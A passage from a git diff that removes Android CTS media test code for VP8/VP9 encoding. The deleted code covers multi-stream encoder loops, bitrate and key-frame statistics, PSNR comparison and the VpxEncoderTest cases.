-                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
-                mScaledImages.add(scale);
-            }
-
-            // Create buffer info storage
-            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
-
-            // Create YUV reader
-            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-
-            // Create IVF writer
-            ivf[i] = new IvfWriter(
-                    params.outputIvfFilename, params.codecMimeType,
-                    params.frameWidth, params.frameHeight);
-
-            // Frame buffer
-            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
-            srcFrame[i] = new byte[frameSize];
-
-            // Create a media format signifying desired output.
-            if (params.bitrateType == VIDEO_ControlRateConstant) {
-                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-            }
-            if (params.temporalLayers > 0) {
-                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
-            }
-            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
-            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
-                    params.frameRate; // in sec
-            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-            // Create encoder
-            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
-                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                    params.frameWidth + " x " + params.frameHeight +
-                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
-                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
-                    ". Key frame:" + syncFrameInterval * params.frameRate +
-                    ". Force keyFrame: " + params.syncForceFrameInterval);
-            Log.d(TAG, "  Format: " + format[i]);
-            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
-
-            // Create encoder
-            codec[i] = new MediaEncoderAsync();
-            codec[i].createCodec(i, properties.codecName, format[i],
-                    params.timeoutDequeue, params.runInLooperThread, params.useNdk);
-            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
-
-            inputConsumed[i] = true;
-            ++numEncoders;
-        }
-        if (numEncoders == 0) {
-            Log.i(TAG, "no suitable encoders found for any of the streams");
-            return null;
-        }
-
-        while (!sawOutputEOSTotal) {
-            // Feed input buffer to all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                bufferConsumed[i] = false;
-                if (consumedInputEOS[i]) {
-                    continue;
-                }
-
-                EncoderOutputStreamParameters params = encodingParams.get(i);
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed[i] && !sawInputEOS[i]) {
-                    int bytesRead = yuvStream[i].read(srcFrame[i]);
-
-                    // Check EOS
-                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
-                        sawInputEOS[i] = true;
-                        Log.d(TAG, "---Enc" + i +
-                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                    }
-
-                    if (!sawInputEOS[i] && bytesRead == -1) {
-                        if (params.frameCount == 0) {
-                            sawInputEOS[i] = true;
-                            Log.d(TAG, "---Enc" + i +
-                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                        } else {
-                            yuvStream[i].close();
-                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-                            bytesRead = yuvStream[i].read(srcFrame[i]);
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (codecProperties[i].colorFormat !=
-                            CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame[i] =
-                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
-                    }
-                }
-
-                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
-                if (inputConsumed[i]) {
-                    inputFrameIndex[i]++;
-                    consumedInputEOS[i] = sawInputEOS[i];
-                    bufferConsumed[i] = true;
-                }
-
-            }
-
-            // Get output from all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                if (sawOutputEOS[i]) {
-                    continue;
-                }
-
-                MediaEncoderOutput out = codec[i].getOutput();
-                if (out.outputGenerated) {
-                    bufferConsumed[i] = true;
-                    // Detect output EOS
-                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
-                        sawOutputEOS[i] = true;
-                    }
-
-                    if (out.buffer.length > 0) {
-                        // Save frame
-                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                        // Update statistics - store presentation time delay in offset
-                        long presentationTimeUsDelta = out.inPresentationTimeUs -
-                                out.outPresentationTimeUs;
-                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                                out.outPresentationTimeUs, out.flags);
-                        bufferInfos.get(i).add(bufferInfoCopy);
-                    }
-                }
-            }
-
-            // If codec is not ready to accept input/output - wait for buffer ready callback
-            bufferConsumedTotal = false;
-            for (boolean bufferConsumedCurrent : bufferConsumed) {
-                bufferConsumedTotal |= bufferConsumedCurrent;
-            }
-            if (!bufferConsumedTotal) {
-                // Pick the encoder to wait for
-                for (int i = 0; i < numEncoders; i++) {
-                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
-                        codec[i].waitForBufferEvent();
-                        break;
-                    }
-                }
-            }
-
-            // Check if EOS happened for all encoders
-            sawOutputEOSTotal = true;
-            for (boolean sawOutputEOSStream : sawOutputEOS) {
-                sawOutputEOSTotal &= sawOutputEOSStream;
-            }
-        }
-
-        for (int i = 0; i < numEncoders; i++) {
-            codec[i].deleteCodec();
-            ivf[i].close();
-            yuvStream[i].close();
-            if (yuvScaled[i] != null) {
-                yuvScaled[i].close();
-            }
-        }
-
-        return bufferInfos;
-    }
-
-    /**
-     * Some encoding statistics.
-     */
-    protected class VpxEncodingStatistics {
-        VpxEncodingStatistics() {
-            mBitrates = new ArrayList<Integer>();
-            mFrames = new ArrayList<Integer>();
-            mKeyFrames = new ArrayList<Integer>();
-            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
-        }
-
-        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
-        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
-        public int mAverageBitrate;         // Average stream bitrate.
-        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
-        public int mAverageKeyFrameInterval; // Average key frame interval.
-        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
-        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
-    }
-
-    /**
-     * Calculates average bitrate and key frame interval for the encoded streams.
-     * Output mBitrates field will contain bitrate values for every second
-     * of the encoded stream.
-     * Average stream bitrate will be stored in mAverageBitrate field.
-     * mKeyFrames array will contain the position of key frames in the encoded stream and
-     * mKeyFrameInterval - average key frame interval.
-     */
-    protected VpxEncodingStatistics computeEncodingStatistics(int encoderId,
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        VpxEncodingStatistics statistics = new VpxEncodingStatistics();
-
-        int totalSize = 0;
-        int frames = 0;
-        int framesPerSecond = 0;
-        int totalFrameSizePerSecond = 0;
-        int maxFrameSize = 0;
-        int currentSecond;
-        int nextSecond = 0;
-        String keyFrameList = "  IFrame List: ";
-        String bitrateList = "  Bitrate list: ";
-        String framesList = "  FPS list: ";
-
-
-        for (int j = 0; j < bufferInfos.size(); j++) {
-            MediaCodec.BufferInfo info = bufferInfos.get(j);
-            currentSecond = (int)(info.presentationTimeUs / 1000000);
-            boolean lastFrame = (j == bufferInfos.size() - 1);
-            if (!lastFrame) {
-                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
-            }
-
-            totalSize += info.size;
-            totalFrameSizePerSecond += info.size;
-            maxFrameSize = Math.max(maxFrameSize, info.size);
-            framesPerSecond++;
-            frames++;
-
-            // Update the bitrate statistics if the next frame will
-            // be for the next second
-            if (lastFrame || nextSecond > currentSecond) {
-                int currentBitrate = totalFrameSizePerSecond * 8;
-                bitrateList += (currentBitrate + " ");
-                framesList += (framesPerSecond + " ");
-                statistics.mBitrates.add(currentBitrate);
-                statistics.mFrames.add(framesPerSecond);
-                totalFrameSizePerSecond = 0;
-                framesPerSecond = 0;
-            }
-
-            // Update key frame statistics.
-            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                statistics.mKeyFrames.add(j);
-                keyFrameList += (j + "  ");
-            }
-        }
-        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
-        duration = (duration + 500) / 1000;
-        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
-        Log.d(TAG, "Statistics for encoder # " + encoderId);
-        // Calculate average key frame interval in frames.
-        int keyFrames = statistics.mKeyFrames.size();
-        if (keyFrames > 1) {
-            statistics.mAverageKeyFrameInterval =
-                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
-            statistics.mAverageKeyFrameInterval =
-                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
-            for (int j = 1; j < keyFrames; j++) {
-                int keyFrameInterval =
-                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
-                statistics.mMaximumKeyFrameInterval =
-                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
-                statistics.mMinimumKeyFrameInterval =
-                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
-            }
-            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
-                    ". Min: " + statistics.mMinimumKeyFrameInterval +
-                    ". Avg: " + statistics.mAverageKeyFrameInterval);
-        }
-        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
-                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
-        Log.d(TAG, keyFrameList);
-        Log.d(TAG, bitrateList);
-        Log.d(TAG, framesList);
-        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
-        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
-
-        return statistics;
-    }
-
-    protected VpxEncodingStatistics computeEncodingStatistics(
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        return computeEncodingStatistics(0, bufferInfos);
-    }
-
-    protected ArrayList<VpxEncodingStatistics> computeSimulcastEncodingStatistics(
-            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
-        int numCodecs = bufferInfos.size();
-        ArrayList<VpxEncodingStatistics> statistics = new ArrayList<VpxEncodingStatistics>();
-
-        for (int i = 0; i < numCodecs; i++) {
-            VpxEncodingStatistics currentStatistics =
-                    computeEncodingStatistics(i, bufferInfos.get(i));
-            statistics.add(currentStatistics);
-        }
-        return statistics;
-    }
-
-    /**
-     * Calculates maximum latency for encoder/decoder based on buffer info array
-     * generated either by encoder or decoder.
-     */
-    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
-        int maxValue = 0;
-        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
-            maxValue = Math.max(maxValue,  bufferInfo.offset);
-        }
-        maxValue = (maxValue + 500) / 1000; // mcs -> ms
-        return maxValue;
-    }
-
-    /**
-     * Decoding PSNR statistics.
-     */
-    protected class VpxDecodingStatistics {
-        VpxDecodingStatistics() {
-            mMinimumPSNR = Integer.MAX_VALUE;
-        }
-        public double mAveragePSNR;
-        public double mMinimumPSNR;
-    }
-
-    /**
-     * Calculates PSNR value between two video frames.
-     */
-    private double computePSNR(byte[] data0, byte[] data1) {
-        long squareError = 0;
-        assertTrue(data0.length == data1.length);
-        int length = data0.length;
-        for (int i = 0 ; i < length; i++) {
-            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
-            squareError += diff * diff;
-        }
-        double meanSquareError = (double)squareError / length;
-        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
-        return psnr;
-    }
-
-    /**
-     * Calculates average and minimum PSNR values between
-     * set of reference and decoded video frames.
-     * Runs PSNR calculation for the full duration of the decoded data.
-     */
-    protected VpxDecodingStatistics computeDecodingStatistics(
-            String referenceYuvFilename,
-            int referenceYuvRawId,
-            String decodedYuvFilename,
-            int width,
-            int height) throws Exception {
-        VpxDecodingStatistics statistics = new VpxDecodingStatistics();
-        InputStream referenceStream =
-                OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
-        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
-
-        int ySize = width * height;
-        int uvSize = width * height / 4;
-        byte[] yRef = new byte[ySize];
-        byte[] yDec = new byte[ySize];
-        byte[] uvRef = new byte[uvSize];
-        byte[] uvDec = new byte[uvSize];
-
-        int frames = 0;
-        double averageYPSNR = 0;
-        double averageUPSNR = 0;
-        double averageVPSNR = 0;
-        double minimumYPSNR = Integer.MAX_VALUE;
-        double minimumUPSNR = Integer.MAX_VALUE;
-        double minimumVPSNR = Integer.MAX_VALUE;
-        int minimumPSNRFrameIndex = 0;
-
-        while (true) {
-            // Calculate Y PSNR.
-            int bytesReadRef = referenceStream.read(yRef);
-            int bytesReadDec = decodedStream.read(yDec);
-            if (bytesReadDec == -1) {
-                break;
-            }
-            if (bytesReadRef == -1) {
-                // Reference file wrapping up
-                referenceStream.close();
-                referenceStream =
-                        OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
-                bytesReadRef = referenceStream.read(yRef);
-            }
-            double curYPSNR = computePSNR(yRef, yDec);
-            averageYPSNR += curYPSNR;
-            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
-            double curMinimumPSNR = curYPSNR;
-
-            // Calculate U PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curUPSNR = computePSNR(uvRef, uvDec);
-            averageUPSNR += curUPSNR;
-            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
-
-            // Calculate V PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curVPSNR = computePSNR(uvRef, uvDec);
-            averageVPSNR += curVPSNR;
-            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
-
-            // Frame index for minimum PSNR value - help to detect possible distortions
-            if (curMinimumPSNR < statistics.mMinimumPSNR) {
-                statistics.mMinimumPSNR = curMinimumPSNR;
-                minimumPSNRFrameIndex = frames;
-            }
-
-            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
-                    frames, curYPSNR, curUPSNR, curVPSNR);
-            Log.v(TAG, logStr);
-
-            frames++;
-        }
-
-        averageYPSNR /= frames;
-        averageUPSNR /= frames;
-        averageVPSNR /= frames;
-        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
-
-        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
-        String logStr = String.format(Locale.US,
-                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
-                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
-        Log.d(TAG, logStr);
-        logStr = String.format(Locale.US,
-                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
-                minimumYPSNR, minimumUPSNR, minimumVPSNR,
-                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
-        Log.d(TAG, logStr);
-
-        referenceStream.close();
-        decodedStream.close();
-        return statistics;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
deleted file mode 100644
index 586628b..0000000
--- a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
+++ /dev/null
@@ -1,556 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.media.cts.R;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Verification test for vp8/vp9 encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by vp8/vp9 decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VpxEncoderTest extends VpxCodecTestBase {
-
-    private static final String ENCODED_IVF_BASE = "football";
-    private static final String INPUT_YUV = null;
-    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
-            ENCODED_IVF_BASE + "_out.yuv";
-
-    // YUV stream properties.
-    private static final int WIDTH = 320;
-    private static final int HEIGHT = 240;
-    private static final int FPS = 30;
-    // Default encoding bitrate.
-    private static final int BITRATE = 400000;
-    // Default encoding bitrate mode
-    private static final int BITRATE_MODE = VIDEO_ControlRateVariable;
-    // List of bitrates used in quality and basic bitrate tests.
-    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
-    // Maximum allowed bitrate variation from the target value.
-    private static final double MAX_BITRATE_VARIATION = 0.2;
-    // Average PSNR values for reference Google VPx codec for the above bitrates.
-    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
-    // Minimum PSNR values for reference Google VPx codec for the above bitrates.
-    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
-    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
-    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
-    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
-    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
-    // buffer dequeue timeout.
-    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
-    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
-    // comparing to the encoder running in a callee's thread.
-    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
-    // Maximum allowed average key frame interval variation from the target value.
-    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
-    // Maximum allowed key frame interval variation from the target value.
-    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
-
-    /**
-     * A basic test for VPx encoder.
-     *
-     * Encodes 9 seconds of raw stream with default configuration options,
-     * and then decodes it to verify the bitstream.
-     * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
-     */
-    private void internalTestBasic(String codecMimeType) throws Exception {
-        int encodeSeconds = 9;
-        boolean skipped = true;
-
-        for (int targetBitrate : TEST_BITRATES_SET) {
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    codecMimeType,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    BITRATE_MODE,
-                    targetBitrate,
-                    true);
-            ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-            if (bufInfo == null) {
-                continue;
-            }
-            skipped = false;
-
-            VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-            /* Allow achieved bitrate to be smaller than target bitrate for
-             * VIDEO_ControlRateVariable mode */
-            if ((params.bitrateType == VIDEO_ControlRateConstant) ||
-                (statistics.mAverageBitrate > targetBitrate)) {
-                assertEquals("Stream bitrate " + statistics.mAverageBitrate +
-                    " is different from the target " + targetBitrate,
-                    targetBitrate, statistics.mAverageBitrate,
-                    MAX_BITRATE_VARIATION * targetBitrate);
-            }
-
-            decode(params.outputIvfFilename, null, codecMimeType, FPS, params.forceGoogleEncoder);
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
-        }
-    }
-
-    /**
-     * Asynchronous encoding test for VPx encoder.
-     *
-     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
-     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
-     * does not change much for two different ways of the encoder call.
-     */
-    private void internalTestAsyncEncoding(String codecMimeType) throws Exception {
-        int encodeSeconds = 9;
-
-        // First test the encoder running in a looper thread with buffer callbacks enabled.
-        boolean syncEncoding = false;
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                syncEncoding);
-        ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
-        VpxDecodingStatistics statisticsAsync = computeDecodingStatistics(
-                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-
-        // Test the encoder running in a callee's thread.
-        syncEncoding = true;
-        params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                syncEncoding);
-        bufInfos = encode(params);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
-        VpxDecodingStatistics statisticsSync = computeDecodingStatistics(
-                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-        // Check PSNR difference.
-        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
-                ". Sync: " + statisticsSync.mAveragePSNR);
-        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
-                ". Sync: " + statisticsSync.mMinimumPSNR);
-        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
-            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
-            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
-            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
-            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
-     *
-     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
-     * The test does not verify the output stream.
-     */
-    private void internalTestSyncFrame(String codecMimeType, boolean useNdk) throws Exception {
-        int encodeSeconds = 9;
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                true);
-        params.syncFrameInterval = encodeSeconds * FPS;
-        params.syncForceFrameInterval = FPS;
-        params.useNdk = useNdk;
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
-            return;
-        }
-
-        VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // First check if we got expected number of key frames.
-        int actualKeyFrames = statistics.mKeyFrames.size();
-        if (actualKeyFrames != encodeSeconds) {
-            throw new RuntimeException("Number of key frames " + actualKeyFrames +
-                    " is different from the expected " + encodeSeconds);
-        }
-
-        // Check key frame intervals:
-        // Average value should be within +/- 1 frame of the target value,
-        // maximum value should not be greater than target value + 3,
-        // and minimum value should not be less that target value - 3.
-        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
-            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
-            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
-            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
-            throw new RuntimeException(
-                    "Key frame intervals are different from the expected " + FPS);
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
-     *
-     * Run the the encoder for 12 seconds. Request changes to the
-     * bitrate after 6 seconds and ensure the encoder responds.
-     */
-    private void internalTestDynamicBitrateChange(String codecMimeType, boolean useNdk) throws Exception {
-        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
-        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                bitrateTargetValues[0],
-                true);
-
-        // Number of seconds for each bitrate
-        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
-        // Fill the bitrates values.
-        params.bitrateSet = new int[encodeSeconds * FPS];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            Arrays.fill(params.bitrateSet,
-                    i * encodeSeconds * FPS / bitrateTargetValues.length,
-                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
-                    bitrateTargetValues[i]);
-        }
-
-        params.useNdk = useNdk;
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
-            return;
-        }
-
-        VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // Calculate actual average bitrates  for every [stepSeconds] second.
-        int[] bitrateActualValues = new int[bitrateTargetValues.length];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            bitrateActualValues[i] = 0;
-            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
-                bitrateActualValues[i] += statistics.mBitrates.get(j);
-            }
-            bitrateActualValues[i] /= stepSeconds;
-            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
-                    ". Target: " + bitrateTargetValues[i]);
-
-            // Compare actual bitrate values to make sure at least same increasing/decreasing
-            // order as the target bitrate values.
-            for (int j = 0; j < i; j++) {
-                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
-                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
-                if (differenceTarget * differenceActual < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
-                            ". Actual bitrates: "
-                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
-                }
-            }
-        }
-    }
-
-     /**
-      * Check if encoder and decoder can run simultaneously on different threads.
-      *
-      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
-      * and then run parallel encoding and decoding of the same streams.
-      * Compares average bitrate and PSNR for sequential and parallel runs.
-      */
-     private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
-         // check for encoder up front, as by the time we detect lack of
-         // encoder support, we may have already started decoding.
-         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-         MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
-         if (mcl.findEncoderForFormat(format) == null) {
-             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
-             return;
-         }
-
-         int encodeSeconds = 9;
-         final int[] bitrate = new int[1];
-         final double[] psnr = new double[1];
-         final Exception[] exceptionEncoder = new Exception[1];
-         final Exception[] exceptionDecoder = new Exception[1];
-         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                 INPUT_YUV,
-                 ENCODED_IVF_BASE,
-                 codecMimeType,
-                 encodeSeconds,
-                 WIDTH,
-                 HEIGHT,
-                 FPS,
-                 VIDEO_ControlRateConstant,
-                 BITRATE,
-                 true);
-         final String inputIvfFilename = params.outputIvfFilename;
-
-         Runnable runEncoder = new Runnable() {
-             public void run() {
-                 try {
-                     ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-                     VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-                     bitrate[0] = statistics.mAverageBitrate;
-                 } catch (Exception e) {
-                     Log.e(TAG, "Encoder error: " + e.toString());
-                     exceptionEncoder[0] = e;
-                 }
-             }
-         };
-         Runnable runDecoder = new Runnable() {
-             public void run() {
-                 try {
-                     decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
-                     VpxDecodingStatistics statistics = computeDecodingStatistics(
-                            params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                            params.frameWidth, params.frameHeight);
-                     psnr[0] = statistics.mAveragePSNR;
-                 } catch (Exception e) {
